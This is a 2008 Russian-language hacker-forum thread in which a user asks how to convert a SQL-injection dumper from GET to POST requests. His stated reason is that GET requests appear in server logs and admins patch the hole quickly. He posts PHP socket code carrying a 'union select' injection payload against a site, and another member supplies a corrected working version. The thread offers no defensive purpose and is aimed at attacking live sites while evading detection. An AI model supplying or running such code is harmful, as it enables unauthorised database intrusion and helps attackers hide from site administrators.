Convert GET => POST?

Discussion in 'PHP' started by shellz[21h], 10 Jul 2008.

  1. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    Все доброе время суток.
    Как можно реализовать на php конвертацию GET'a в POST метод. Нужно это для дампера SQLinj, а то палится гет хорошо в логах и админ быстро закрывает бреш в системе. Если кто подскажет, буду благодарен.
     
  2. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    543
    Likes Received:
    274
    Reputations:
    51
  3. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    Благодарю, Респект тебе и Маднету :)
     
  4. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    PHP:
    <?php
    $fsoc 
    fsockopen("site.com"80);

    $req  "POST /bag.asp HTTP/1.0\r\n";
    $req  .= "Connection: keep-alive\r\n";
    $req  .= "Content-Length: 45\r\n";
    $req  .= "Content-Type: text/html\r\n";
    $req  .= "Host: site.com\r\n";
    $req  .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n";
    $req  .= "\r\n";
    $req  .= "page=-11+union+select+1,2,3--\r\n";


    fwrite($fsoc$req );

    while (!
    feof($fsoc))
        echo 
    fread($fsoc,102400);

    fclose($fsoc);
    ?>
    Данный код, работает не корректно. Выводит страницу с ошибкой, но результат инъекции не выводит, в чем ошибка?
     
    #4 shellz[21h], 12 Jul 2008
    Last edited: 12 Jul 2008
  5. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    cc чего ты взял что тут
    45 символов?
     
  6. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    нет, это я примеру написал. Может ктонить привести аналогичный код, но только чтоб работал.
     
  7. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    PHP:
    <?php
    $host 
    'site.com';
    $url fsockopen($host80);
    $data_p "page=-11+union+select+1,2,3--";

    $req  "POST /bag.asp HTTP/1.0\r\n";
    $req .= "Host: site.com\r\n";
    $req .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n";
    $req .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $req .= "Content-Length: ".strlen($data_p)."\r\n";
    $req .= "Connection: Close\r\n\r\n";
    $req .= $data_p;

    fputs($url$req);
    while (!
    feof($url)) $s[] = fgets($url1028);
    fclose($url);

    print_r($s);
    ?>
     
    _________________________
    #7 c411k, 12 Jul 2008
    Last edited: 12 Jul 2008
  8. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    c411k, спасибо большое, теперь работает на ура! :) вопрос больше не имею.